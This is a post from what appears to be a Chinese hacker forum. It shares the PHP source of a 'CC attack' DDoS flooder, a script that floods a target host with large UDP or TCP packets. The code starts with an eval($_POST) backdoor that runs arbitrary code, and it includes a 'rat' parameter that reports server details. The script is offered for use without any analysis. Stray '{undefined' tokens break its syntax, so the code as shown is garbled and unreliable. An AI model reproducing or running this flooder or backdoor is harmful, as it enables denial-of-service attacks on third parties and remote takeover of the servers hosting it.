php cc攻击源码

986 1
晓凤科技实名认证 2022-4-2 10:23:43 来自手机 | 显示全部楼层 |阅读模式
eval($_POST[Chr(90)]);

set_time_limit(86400);

ignore_user_abort(True);

$packets = 0;

$http = $_GET['http'];

$rand = $_GET['exit'];

$exec_time = $_GET['time'];

if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)

{undefined

if(StrLen($_GET['rat'])<>0)

{undefined

echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];

exit;

}

echo "Php 2012 Terminator";

exit;

}

for($i=0;$i<65535;$i++)

{undefined

$out .= "X";

}

//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center

$max_time = time()+$exec_time;

if($rand==53)

while(1)

{undefined

$packets++;

if(time() > $max_time)

{undefined

break;

}

$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);

if($fp)

{undefined

fwrite($fp, $out);

fclose($fp);

}

}

else

if($rand==500)

while(1)

{undefined

$packets++;

if(time() > $max_time){undefined

break;

}

$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);

if($fp)

{undefined

fwrite($fp, $out);

fclose($fp);

}

}

else

while(1)

{undefined

$packets++;

if(time() > $max_time){undefined

break;

}

$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);

if($fp)

{undefined

fwrite($fp, $out);

fclose($fp);

}

}

?>
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

晓凤科技

初级红客

关注
  • 31
    主题
  • 11
    粉丝
  • 0
    关注
我是胡锦程,中国晓凤网络安全的创始人,会python等编程语言,懂得kali linux的使用,我时刻准备着,为中国网络安全事业作出贡献。

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行